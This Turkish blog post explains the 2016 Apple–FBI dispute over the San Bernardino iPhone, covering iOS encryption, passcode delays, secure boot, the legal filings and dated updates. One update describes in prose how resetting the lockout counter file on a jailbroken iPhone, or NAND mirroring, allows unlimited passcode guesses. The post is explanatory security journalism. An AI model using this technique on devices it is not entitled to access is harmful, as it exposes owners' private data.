iOS Data Protection ile ilgili daha detaylı bilgi almak için daha önce yazmış olduğum <a href="http://www.oguzhantopgul.com/2013/09/ios-data-protection-api-dosya-sistemi.html">blog girdisine</a> [2] bakabilir ve Apple tarafından yayınlanan <a href="https://www.apple.com/business/docs/iOS_Security_Guide.pdf">iOS Security Guide'ı</a> [3] inceleyebilirsiniz.<br />
<br />
Kullanıcının girmiş olduğu parola ve UID değeri kullanılarak şifreleme anahtarının üretilmesi işlemi standart bir key derivation algoritmasi olan PBKDF2 ile sağlanıyor. Bu algoritma işletilirken en az 1000 kere yapılan bir iterasyon işlemi var ve bu işlem yaklaşık 80ms'lik bir gecikmeye sebep oluyor. Yanki tek bir parola denemesi yapmanın maliyeti yaklaşık 80ms. Buna ek olarak iOS işletim sisteni bruteforce ve dictionary saldırılarını zorlaştırmak amacıyla yanlış parola denemesi yapıldığında yapay bazı ek gecikme süreleri ekliyor. Daha önce bir iOS cihazda tuş kilidi denemesi yapanlar varsa aşağıdaki ekran görüntüsüyle karşılaşmışlardır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-WHWe2fDraPs/VtP3r6m_tPI/AAAAAAAADmQ/0xGO0EFU9tg/s1600/iphone6-ios9-passcode-error-disabled_jpg__JPEG_Image__730%25C2%25A0%25C3%2597%25C2%25A0860_pixels_.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://2.bp.blogspot.com/-WHWe2fDraPs/VtP3r6m_tPI/AAAAAAAADmQ/0xGO0EFU9tg/s320/iphone6-ios9-passcode-error-disabled_jpg__JPEG_Image__730%25C2%25A0%25C3%2597%25C2%25A0860_pixels_.png" width="249" /></a><a href="https://2.bp.blogspot.com/-Eu5AscdCcho/VtP3s6mBJuI/AAAAAAAADmU/XOlSTK0Qzto/s1600/pfO2Kbj_jpg__JPEG_Image__640%25C2%25A0%25C3%2597%25C2%25A01136_pixels__-_Scaled__81__.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://2.bp.blogspot.com/-Eu5AscdCcho/VtP3s6mBJuI/AAAAAAAADmU/XOlSTK0Qzto/s320/pfO2Kbj_jpg__JPEG_Image__640%25C2%25A0%25C3%2597%25C2%25A01136_pixels__-_Scaled__81__.png" width="241" /></a></div>
Yukarıda açıklamış olduğum bu güvenlik özellikleri neticesinde ilgili cihaza ait tuş kilidini kırmak isteyen FBI'in önüne aşağıdaki problemler çıkmış:<br />
<ol>
<li>Cihazdaki verileri kurtarmak için 10 adet parola deneme hakları var. Daha fazla yanlış parola girerlerse cihaz wipe olacak.</li>
<li>Parola denemelerini cihaz üzerinde manuel olarak yapmak zorundalar. Bu işlem çok vakit alıyor.</li>
<li>Her yanlış parola denemesi bir sonraki deneme icin geçmesi gereken gecikme süresini arttırıyor. Bu gecikme zamanı geometrik olarak artıyor. Bu durum bruteforce işlemini neredeyse imkansız kılıyor.</li>
</ol>
Bu bilgiler ışığında mahkemenin Apple'a gönderdiği yazıda FBI'ın Apple'dan beklediklerini şu şekilde sıralayabiliriz:<br />
<div class="p1">
</div>
<ol>
<li>Bruteforce yapacağım, parolayı/pin’i 10 kere yanlış girsem dahi cihaz wipe’lanmasın</li>
<li>Yanlış parola girildiğinde üretilen yapay gecikmeler iptal edilsin, bu sayede lineer bir zamanda parolayı kırabileyim.</li>
<li>Ekrandan teker teker parola/pin girmek yerine kablo üzerinden, bluetooth vb bir interface üzerinden otomatik parola denemesi yapabileyim.</li>
</ol>
<div class="p1">
<span class="s1">Talep edilen bu 3 maddeyi sağlayabilmek için Apple’a ister RAM’de çalışacak bir bir SIF (Software Image File), ister bir recovery imajı, ister bir OS update hazırla deniyor. Apple'a gönderilen mahkeme yazısında [4] bu maddeler şu şekilde ifade edilmiş:</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/--DoRNz68qu0/VtP7mkfx2bI/AAAAAAAADmg/GlKOOxn4Bkc/s1600/SB-Shooter-Order-Compelling-Apple-Asst-iPhone_pdf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="278" src="https://1.bp.blogspot.com/--DoRNz68qu0/VtP7mkfx2bI/AAAAAAAADmg/GlKOOxn4Bkc/s640/SB-Shooter-Order-Compelling-Apple-Asst-iPhone_pdf.png" width="640" /></a></div>
<div class="p1">
Peki bu imaj neden Apple’dan talep ediliyor? Çünkü bu imajın cihazda çalışabilmesi veya OS’un patch'lenebilmesi için Apple tarafından imzalanmış olması gerekiyor. iOS'da bulunan secure boot chain mekanizması sayesinde donanım seviyesinden itibaren tüm boot elemanları kendinden sonra çalıştırılacak kodun imzasını kontrol ediyor ve tahmin edeceğiniz üzere bu kodun Apple tarafından imzalanmış olması bekleniyor. iOS Secure Boot Chain hakkında daha önce yazmış olduğum bir <a href="http://www.oguzhantopgul.com/2014/01/secure-boot-chain-jailbreak-detaylar-ve.html">blog girdisinde</a> [5] detaylı bilgileri bulabilirsiniz.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-sIJbWRuXV-M/VtQG3AwLRVI/AAAAAAAADnM/pDlEWU7ANqw/s1600/SecureBootchain.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="248" src="https://3.bp.blogspot.com/-sIJbWRuXV-M/VtQG3AwLRVI/AAAAAAAADnM/pDlEWU7ANqw/s640/SecureBootchain.png" width="640" /></a></div>
<div class="p1">
Bu noktada önemli bir konuya değinmek istiyorum. Apple, FBI'ın talep ettiği işlemleri gerçekleştirip cihazı bruteforce'a açık hale getirse bile FBI yetkilileri parola kırma denemesi sırasında PBKDF2'den kaynaklanan 80ms'lik gecikmeden kurtulamıyor. Her parola denemesinde oluşan bu 80 ms'lik gecikmenin parola uzunluğu ve karmaşıklığına göre parolanın kırılma süresine etkisi hesaplandığında aşağıdaki gibi bir tablo [6] elde ediliyor:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-z2ICNOZZd24/VtP_5zAqRaI/AAAAAAAADm0/K6cBmiicE6U/s1600/It_s_so_weird_how_hard_it_is_for_the_brain_to_handle_exponential_growth__I_was_a______Hacker_News.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="132" src="https://4.bp.blogspot.com/-z2ICNOZZd24/VtP_5zAqRaI/AAAAAAAADm0/K6cBmiicE6U/s400/It_s_so_weird_how_hard_it_is_for_the_brain_to_handle_exponential_growth__I_was_a______Hacker_News.png" width="400" /></a></div>
Yani bir diğer deyişle 7 karakterli alfanümerik parola kullanan bir kullanıcının cihazına Apple'ın hazırlayabileceği ve güvenlik özelliklerini azaltan bir update geçilse dahi parola kırma işlemi anlamlı bir sürede bitmiyor. Bu durum son kullanıcı açısından güçlü parola kullanımının önemini ciddi şekilde vurgulamış oluyor.<br />
<br />
Mahkeme tarafından Apple'a gönderilen bu yazıya kaşılık Apple CEO'su Tim Cook, Apple web sayfası üzerinden bir mektup yayınladı [7]. Mektupta hükümetin kendilerinden bir backdoor talep ettiğini, buna karşı olduklarını ve bu işlemin tek seferlik olmayacağından duydukları endişeyi müşterilerine ve kamuoyuna açıkladı.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-aHpqUdf8Ljg/VtP-76vcBnI/AAAAAAAADms/ZzZDv7bCe2U/s1600/Customer_Letter_-_Apple.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="289" src="https://1.bp.blogspot.com/-aHpqUdf8Ljg/VtP-76vcBnI/AAAAAAAADms/ZzZDv7bCe2U/s640/Customer_Letter_-_Apple.png" width="640" /></a></div>
Google CEO'su <a href="https://twitter.com/sundarpichai">Sundar Pichai</a> ve Twitter'ın kurucusu <a href="https://twitter.com/jack">Jack Dorsey</a> twitter üzerinden Apple'a destek verdiklerini açıkladılar.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-cuwVcepxg2Y/VtQuMunkIwI/AAAAAAAADoM/LUy-7OS6Ihg/s1600/Screenshot_29_02_16_13_38.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://4.bp.blogspot.com/-cuwVcepxg2Y/VtQuMunkIwI/AAAAAAAADoM/LUy-7OS6Ihg/s400/Screenshot_29_02_16_13_38.png" width="345" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-NBG8hVyaks0/VtQwWkFMI5I/AAAAAAAADoY/D_ABJvsgZ5k/s1600/jack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="https://1.bp.blogspot.com/-NBG8hVyaks0/VtQwWkFMI5I/AAAAAAAADoY/D_ABJvsgZ5k/s320/jack.png" width="320" /></a></div>
Öte yandan Microsoft'un kurucusu Bill Gates'in bu kavgada FBI'ın tarafını tutan açıklamalar yaptığını [20] ve ABD başkanlık yarışının önemli isimlerinden Donald Trump'ın halkı Apple ürünlerini boykot etmeye çağırdığını hatırlatmakta fayda var.<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/oe9ydy_zwe8/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/oe9ydy_zwe8?feature=player_embedded" width="320"></iframe></div>
Bu noktada mahkemenin Apple'a talebini "All Writs Act" [8] adı verilen bir yasaya dayanarak gönderdiğinin altını çizmek gerekiyor. Bu yasa başka bir delillendirme enstrümanının kalmadığı durumlarda uygulanabilen bir kanun [9].<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-NffTCydUBzQ/VtQB03pKHmI/AAAAAAAADnA/seLkmkmzEBM/s1600/All_Writs_Act_-_Wikipedia__the_free_encyclopedia.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="88" src="https://2.bp.blogspot.com/-NffTCydUBzQ/VtQB03pKHmI/AAAAAAAADnA/seLkmkmzEBM/s640/All_Writs_Act_-_Wikipedia__the_free_encyclopedia.png" width="640" /></a></div>
Apple, iPhone 5S ile birlikte parmak izi ile cihaz kilidinin açılabilmesini olanak sağlayan bir güvenlik özelliği devreye soktu. Bu özelliğin altında yatan donanım da <span style="font-family: "courier new" , "courier" , monospace;">Secure Enclave</span> adı verilen bir diğer işlemci. <span style="font-family: "courier new" , "courier" , monospace;">Secure Enclave</span> kriptografik işlemleri yapılması ve hassas kriptografik anahtarların saklanması için kullanılan A7 ve sonrası işlemci çipleri içerisinde bulunan özel bir donanım. Eğer ele geçirilen telefon iPhone 5c değil de iPhone 5S veya daha üst bir telefon olsaydı sadece işletim sisteminin güncellenmesi yeterli olmayacak, aynı zamanda <span style="font-family: "courier new" , "courier" , monospace;">Secure Enclave </span>firmware'inin de patchlenmesi gerekecekti. Bu durum FBI'ın işini biraz daha kolaylaştırmış da olsa yukarıda söylediğimiz sebeplerle halen her denemede 80 ms'lik gecikme devam ediyor. <span style="font-family: "courier new" , "courier" , monospace;">Secure Enclave</span> ve şifreleme ile ilgili ek bilgi alabilmek için [10] ve [11] numaralı yazıları okuyabilirsiniz. Apple'ın teknik olarak parola kırma ile ilgili neler yapabileceğini güvenlik araştırmacısı ve "<a href="http://www.amazon.com/Hacking-Securing-iOS-Applications-Hijacking/dp/1449318746">Hacking and Securing iOS Applications</a>" kitabı yazarı Jonathan Zdziarski bir <a href="http://www.zdziarski.com/blog/?p=5638">blog girdisi </a> ile açıklıyor [12].<br />
<br />
19 Şubat tarihinde ortaya çıkan bir diğer detay da San Bernardino County yetkilileri tarafından cihazla ilişkilendirilmiş olan Apple ID (iCloud hesabı) parolasının resetlenmiş olması.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-b1BK14PAQ8g/VtQLpjfSaOI/AAAAAAAADnY/dF45PEDMrJA/s1600/county.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="344" src="https://3.bp.blogspot.com/-b1BK14PAQ8g/VtQLpjfSaOI/AAAAAAAADnY/dF45PEDMrJA/s640/county.png" width="640" /></a></div>
Bu detayın önemli olmasının sebebi şu: iOS cihazlarda eğer iCloud backup fonksiyonu aktif ise iOS cihaz WiFi üzerinden geceleri iCloud'a otomatik bir backup alıyor. Ancak iCloud parolasının değiştirilmesi durumunda bu otomatik yedekleme fonskiyonu devre dışı kalıyor. Apple 25 Şubat'ta mahkemeye gönderdiği <a href="https://www.documentcloud.org/documents/2722199-5-15-MJ-00451-SP-USA-v-Black-Lexus-IS300.html">65 sayfalık savunmasında </a>[13] bu durumu dile getiriyor ve bu hareketin kaçırılmış önemli bir fırsat olduğundan bahsediyor. Savunmanın devamında da tabii ki FBI talebinin yerine getirilemez bir talep olduğunu açıklamaya çalışıyor.<br />
<br />
Apple 22 Şubat tarihinde akıllardaki bazı soruları cevaplamak için Tim Cook'un mektubuna yeni bir bölüm ekledi. "<a href="http://www.apple.com/customer-letter/answers/">Answers to your questions about Apple and security</a>" başlığını verdikleri bu bölümde [14] Apple'ın itirazının marketing ve business temelli olmadığı, tamamen müşterilerine ait verilerin korunmasından ibaret olduğu söyleniyor Bu işin nereye kadar gideceğinin bilinmediği ve kişisel verilerin korunması gerektiği de bu bölümde ifade ediliyor.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-I174uDp7UbE/VtQRxWzeI_I/AAAAAAAADno/y0Wj2DHzUJI/s1600/Customer_Letter_-_FAQ_-_Apple.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="286" src="https://4.bp.blogspot.com/-I174uDp7UbE/VtQRxWzeI_I/AAAAAAAADno/y0Wj2DHzUJI/s640/Customer_Letter_-_FAQ_-_Apple.png" width="640" /></a></div>
Yine Apple CEO'su Tim Cook'un 24 Şubat tarihinde ABC televizyonuna verdiği bir röportaj var. [15] Cook bu röportajda da FBI'ın bu talebine karşı durduklarını ve kararın gerekirse Supreme Court'a (ABD'nin anayasa mahkemesi) götürüleceğini belirtiyor.<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/tGqLTFv7v7c/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/tGqLTFv7v7c?feature=player_embedded" width="320"></iframe></div>
<br />
Bu noktada akıllara takılan bir soru şu olabilir, Apple hükümete, kolluk kuvvetlerine mahkeme kararına ilişkin teknik destek veriyor ise bu konuda neden itiraz ediyor? Aslında evet Apple halen FBI'a ve hükümete destek veriyor, yardım ediyor. Apple'ın hangi konularda nasıl destek verdiğini dair bir dokümanı var [16]. Bu dokümana bakarak FBI'a verilen desteğin neler olduğunu görebilmek mümkün. Ancak burada önemli bir ayrıntı var: Apple, iOS 7 ve öncesi cihazlarda tuş kilidinin kırılması yani cihazdaki verilerin kurtarılması konusunda gerekli mercilere daha detaylı destek verebiliyordu.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-wDTomJpgWME/VtQVn6MQGhI/AAAAAAAADn4/_UwFQdAJCAQ/s1600/US_LE_Guidelines_FINAL_20150916_pages_-_legal-process-guidelines-us_pdf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="278" src="https://2.bp.blogspot.com/-wDTomJpgWME/VtQVn6MQGhI/AAAAAAAADn4/_UwFQdAJCAQ/s640/US_LE_Guidelines_FINAL_20150916_pages_-_legal-process-guidelines-us_pdf.png" width="640" /></a></div>
Ancak iOS8 ile birlikte gelen güvenlik iyileştirmeleri netciesinde artık bu kurtarma işlemlerini yapamayacağını duyurmuştu [17]. Bunun sebebi aslında basit: iOS 7 ve öncesinde sadece kullanıcı e-postaları <span style="font-family: "courier new" , "courier" , monospace;">iOS Data Protection</span> ile korunuyorken, iOS 8 itibariyle telefon rehberi, fotoğraflar, mesajlar vb. veriler de artık koruma altına alındı [3]. Bu durum tuş kilidi bilinmeyen bir cihazda tüm kişisel verilerin şifresinin çözülememesini netice veriyor.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-lk-DkA3pGzU/VtQVLLl2AtI/AAAAAAAADn0/gMS5scgX75w/s1600/iOS_Security_Guide_pdf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="https://1.bp.blogspot.com/-lk-DkA3pGzU/VtQVLLl2AtI/AAAAAAAADn0/gMS5scgX75w/s640/iOS_Security_Guide_pdf.png" width="640" /></a></div>
Peki Apple, kendisinin bile açamayacağı bir iPhone yapabilir mi? iPhone'a güvenlik özellikleri olarak neler eklenebilir? Jonathan Zdziarski'nin yazmış olduğu bir diğer <a href="http://www.zdziarski.com/blog/?p=5741">blog girdisinde</a> [18] bunları görebiliyoruz.<br />
<br />
Konuyla ilgili güzel sorular içeren bir yazıyı da yeri gelmişken paylaşmak istiyorum [19]: <a href="https://medium.com/@_decius_/why-i-disagree-with-nearly-everyone-regarding-apple-and-the-fbi-58f4ace4352b#.bv61nue56">"Why I disagree with nearly everyone regarding Apple and the FBI"</a><br />
<br />
Peki bundan sonra ne olacak derseniz, Apple mahkemeye savunmasını gönderdi ve mahkemenin kararına uymak zorunda. Tabii ki mahkemeden istediği gibi bir karar çıkmazsa Supreme Court'a itiraz edecek.<br />
<br />
Son olarak Apple ve FBI 1 Mart Salı günü Temsilciler Meclisi'nde konu hakkında karşı karşıya gelecekler [21]. Buradan nasıl bir sonuç çıkacağını hep beraber göreceğiz.<br />
<br />
<b>Güncelleme-1:</b> Apple ve FBI'ın Temsilciler Meclisi savunmalarını aşağıdaki videoda bulabilirsiniz:<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/g1GgnbN9oNw/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/g1GgnbN9oNw?feature=player_embedded" width="320"></iframe></div>
<b>Güncelleme-2</b>: Apple'ın Temsilciler Meclisi'nde yapacağı savunma metnine <a href="https://assets.documentcloud.org/documents/2726543/Testimony-of-Bruce-Sewell-March-1-2016.pdf">bu link</a> üzerinden ulaşabilirsiniz [22].<br />
<br />
<b>Güncelleme-3:</b> New York mahkemesinde hakim James Orenstein benzer bir konu ile ilgili All Writs Act'in Kongre kararı olmadan kullanılamayacağı kararına vardı. Bu durum San Bernardino davası ile ilgili olmasa da emsal bir karar olabilir. [23] [24]<br />
<br />
<b>Güncelleme-4</b><b>:</b> FBI Direktörü James Comey'in Temsilciler Meclisi'nde yapmış olduğu savunma metnine <a href="http://judiciary.house.gov/_cache/files/781b192e-78b3-41b8-ad6c-0e01e578c0eb/comey-written-testimony.pdf">bu link</a> üzerinden ulaşabilirsiniz. [25]<br />
<br />
<b>Güncelleme-5:</b> Apple'a destek veren ve mahkemeye bu konuda mektup gönderen kişi, kurum ve firmaların listesi Apple'ın <a href="https://www.apple.com/pr/library/2016/03/03Amicus-Briefs-in-Support-of-Apple.html">web sitesinde</a> yayınlanıyor. [26]<br />
<br />
<b>Güncelleme-6:</b> San Bernardino County Başsavcısı Michael Ramos, mahkemeye gönüllü olarak gönderdiği yazıda Farook'un telefonunda San Bernardino County altyapısını etkileyebilecek tespit edilmemiş bir siber silah olabileceğini ve bu yüzden Apple'ın telefonun açılması konusunda yardım etmesi gerektiğini belirtti. [27] Siber silah'ı tarif ederken kullandığı "Cyber Pathogen" (Siber Patojen) ifadesi böylece literatürde yerini almış oldu.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-m7QcQJypnDs/Vtk7a1xsswI/AAAAAAAADo0/1vs7cItPHw4/s1600/pathogen.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="188" src="https://1.bp.blogspot.com/-m7QcQJypnDs/Vtk7a1xsswI/AAAAAAAADo0/1vs7cItPHw4/s640/pathogen.png" width="640" /></a></div>
<b>Güncelleme-7: </b>Stanford Üniversitesi The Center of Internet Security (CIS), mahkemeye Apple'ı destekleyen ve içerisinde iOS güvenliği uzmanları ve kriptocuların fikirlerinin yer aldığı bir destek mektubu gönderdi. [28]<br />
<b><br /></b>
<b>Güncelleme-8:</b> FBI Avukatlarının Apple'ın savunmasına karşın mahkemeye bir yanıt sundu. [29]<br />
<b><br /></b>
<b>Güncelleme-9:</b> Bir önceki FBI yanıtına karşı Apple, mahkemeye bir itiraz sundu. [30]<br />
<br />
<b>Güncelleme-10:</b> FBI 22 Mart'ta görülecek mahkemeye birkaç gün kala mahkemenin 5 Nisan'a ertelenmesi talebinde bulundu [31]. Bu talebin altında yatan ise FBI'a yardım eden başka kuruluşlardan birinin cihaz kilidini açabilecek bir yöntem bulmuş olabileceği. FBI bu yöntemin çalışıp çalışmadığını görebilmek için 22 Mart'ta görülecek davanın 5 Nisan'a ertelenmesini talep ediyor.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-0srYxSBakfU/VvTwD9lzp8I/AAAAAAAADp4/Kzarqlael2sANcQXO_yyOlGbpTCLXCGSA/s1600/delay.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="140" src="https://3.bp.blogspot.com/-0srYxSBakfU/VvTwD9lzp8I/AAAAAAAADp4/Kzarqlael2sANcQXO_yyOlGbpTCLXCGSA/s640/delay.png" width="640" /></a></div>
Bir çok güvenlik araştırmacısı uygulanmak istenen yeni yöntemin cihazın tüm dosya sistemi ve anahtarların yer aldığı NAND çipinin sökülerek NAND okuyucu/yazıcı araçlar kullanılarak binlerce kopyasının oluşturulması ve standart bruteforce işlemi gerçekleştirilmesi olduğunu tahmin ediyorlar. Bu sayede 10 defa yanlış girilen PIN sonrasında cihaz dosya sistemi wipe edilse dahi kopya çiplerden bir tanesi kullanılarak bruteforce işlemine devam edilebilmekte. Her çip için 10 PIN denemesi yapılabileceği göz önüne alındığında dahi nümerik 4 haneli (zayıf) parola kullanılan bir cihazda bu işlemin gerçekçi bir zamanda bitirilebilmesi mümkün olabilir. Bu işlemin iPhone 5S ve sonrası cihazlar için Secure Enclave'ın varlığı sebebiyle mümkün olmadığını ayrıca vurgulamak gerekiyor. Bu konuyla ilgili Jonathan Zdziarski'nin yazmış olduğu bir <a href="http://www.zdziarski.com/blog/?p=5966">blog girdisi</a> var [32].<br />
<br />
<b>Güncelleme-11: </b>Güvenlik araştırmacısı Justin Case (<a href="https://twitter.com/jcase">@jcase</a>) 24 Mart tarihli tweet'inde FBI'ın iPhone şifresini kırmak için Cellebrite ve McAfee ile birlikte çalıştığı bilgisini paylaştı. Bu bilgiyi güvenilir bir iç kaynaktan aldığını da burada belirtmekte fayda var.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-b7z-KIHku_s/VvTwmJkG4eI/AAAAAAAADp8/tFsemDy1jy0Xd8rHEe28mMKe6gMhRhN1Q/s1600/jcase.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="328" src="https://3.bp.blogspot.com/-b7z-KIHku_s/VvTwmJkG4eI/AAAAAAAADp8/tFsemDy1jy0Xd8rHEe28mMKe6gMhRhN1Q/s640/jcase.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
McAfee'nin sahibi ve başkanlık adayı John McAfee daha önce iPhone şifresinin yarım saatte kırılabileceğini söylemişti:</div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<div style="text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/MG0bAaK7p9s/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/MG0bAaK7p9s?feature=player_embedded" width="320"></iframe></div>
<br />
<b>Güncelleme-12: </b><a href="https://www.reddit.com/r/jailbreak/comments/40yico/tutorial_locked_out_of_your_phone_due_to/">Jailbreak Reddit</a>'te yaklaşık 2 ay önce yayınlanmış bir girdi, bugünlerde daha dikkat çekici hale geldi. Cihazın yanlış PIN girilmesi durumunda disable edilmesine ilişkin sayaç ve cihazın state bilgisi <span style="font-family: "courier new" , "courier" , monospace;">/var/mobile/Library/SpringBoard/LockoutStateJournal.plist</span> adında bir plist dosyasında tutuluyor. Bu değerlerin periyodik olarak manipüle edilebilmesi ile sınırsız sayıda parola denemesi yapılabilmesine olanak tanıyor. Dosyanın değiştirilmesinden sonra cihazın yeniden başlatılması gerektiğini hatırlatmakta fayda var [33].<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-BvUedEnZhIU/Vve4UZ39oZI/AAAAAAAADqQ/9TpYURzu0d08QsO-Nav_z9vqUjsW-rD9g/s1600/_TUTORIAL__Locked_out_of_your_phone_due_to_incorrect_passcode__Got_SSH_or_AFC2__Here_s_how_to_fix_this___jailbreak_-__Private_Browsing_.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="292" src="https://1.bp.blogspot.com/-BvUedEnZhIU/Vve4UZ39oZI/AAAAAAAADqQ/9TpYURzu0d08QsO-Nav_z9vqUjsW-rD9g/s640/_TUTORIAL__Locked_out_of_your_phone_due_to_incorrect_passcode__Got_SSH_or_AFC2__Here_s_how_to_fix_this___jailbreak_-__Private_Browsing_.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">LockoutStateJournal.plist</span> dosyasının içeriğini değiştirebilmek için cihaza SSH bağlantısı yapabilmek gerekiyor. Bunun için de cihazın JailBreak yapılmış bir cihaz olması gerekiyor tabii ki. Peki bu bilgi SanBernardino katilinin cihazı ile ilgili dosyada nasıl bir fayda sağlayacak derseniz bu sorunun cevabı NAND mirroring olarak adlandırılan ve yukarıda açıklamış olduğum NAND çipinin kopyalanması tekniği. NAND mirroring sayesinde yeni çip içeriğinde sayaç ve cihazın lock state değerleri sıfırlanmış bir şekilde tekrar denemeye başlanabilecek. Jonathan Zdziarski yayınlamış olduğu bir video [34] ile NAND mirroring işlemini Jailbreak yapılmış bir cihazda proof of concept olarak yapmış ve sınırsız sayıda deneme hakkı elde edebilmiş. Video'da her 5 denemenin ardından cihazdaki <span style="font-family: "courier new" , "courier" , monospace;">LockoutStateJournal.plist</span> ve <span style="font-family: "courier new" , "courier" , monospace;">SpringBoard.plist</span> dosyalarının içeriği sıfırlanarak cihaz yeniden başlatılıyor. İlgili video'yu aşağıda bulabilirsiniz:</div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<div style="text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/3xHm5lktvog/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/3xHm5lktvog?feature=player_embedded" width="320"></iframe><br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Güncelleme-13: </b>FBI'ın avukatları 28 Mart tarihinde mahkemeye gönderdikleri yazı ile ilgili cihazdaki verilere ulaşmayı başardıklarını ve artık Apple'ın desteğine ihtiyaçları bulunmadığını belirttiler [35]. Şu ana kadar cihaza hangi yöntemleri kullanarak eriştiklerine dair detaylı bir açıklama yapılmadı ancak bu gelişme #AppleVsFBI olayının sonu olarak nitelendirilebilir. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-qY5Z-G9xV38/VvpiSX4OLcI/AAAAAAAADqg/zMJfddN7iaUWdu_jxM7V3BCvTHVRq4_QQ/s1600/fbiaccessed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://1.bp.blogspot.com/-qY5Z-G9xV38/VvpiSX4OLcI/AAAAAAAADqg/zMJfddN7iaUWdu_jxM7V3BCvTHVRq4_QQ/s640/fbiaccessed.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Bu yazıda ve daha sonra yapılan açıklamalarda dikkat çekici bir detay bulunuyor. Cihazdaki verilere erişildiği ifade ediliyor, tuş kilidi parolasının kırıldığına dair bir ifade yok. Bu durum NAND mirroring tekniği yerine bir 0-day exploit kullanılmış olabileceği ihtimalini arttırıyor.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>Güncelleme-14:</b> Cellebrite bu konuda resmi bir açıklama yapmasa da FBI'ın yapmış olduğu harcamalar listesinde 21 Mart ile 28 Mart tarihlerinde Cellebrite'dan toplamda 233bin dolar civarı bir alım yapılmış görünüyor. Bu da telefonun kırılması veya içerisindeki veriye ulaşılması konusunda FBI'ın Cellebrite'tan destek aldığı bilgisini doğruluyor.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-R0AT7-ZoeFA/VvtqkSNSIcI/AAAAAAAADqw/KwEYgHzJuKgsbFRDyWarosFSza-4FS-0A/s1600/screen-shot-2016-03-29-at-11-15-34-am-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="482" src="https://1.bp.blogspot.com/-R0AT7-ZoeFA/VvtqkSNSIcI/AAAAAAAADqw/KwEYgHzJuKgsbFRDyWarosFSza-4FS-0A/s640/screen-shot-2016-03-29-at-11-15-34-am-2.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>Güncelleme-15:</b> FBI'ın yapmış olduğu alımlar #AppleVsFBI sürecinde farklı adli analiz firmalarından destek alındığını ortaya çıkartıyor. Bu firmalardan biri de Magnet Forensics. Magnet Forensics'den yaklaşık 450bin dolarlık alım yapılması dikkat çekici bir ayrıntı. [36]</div>
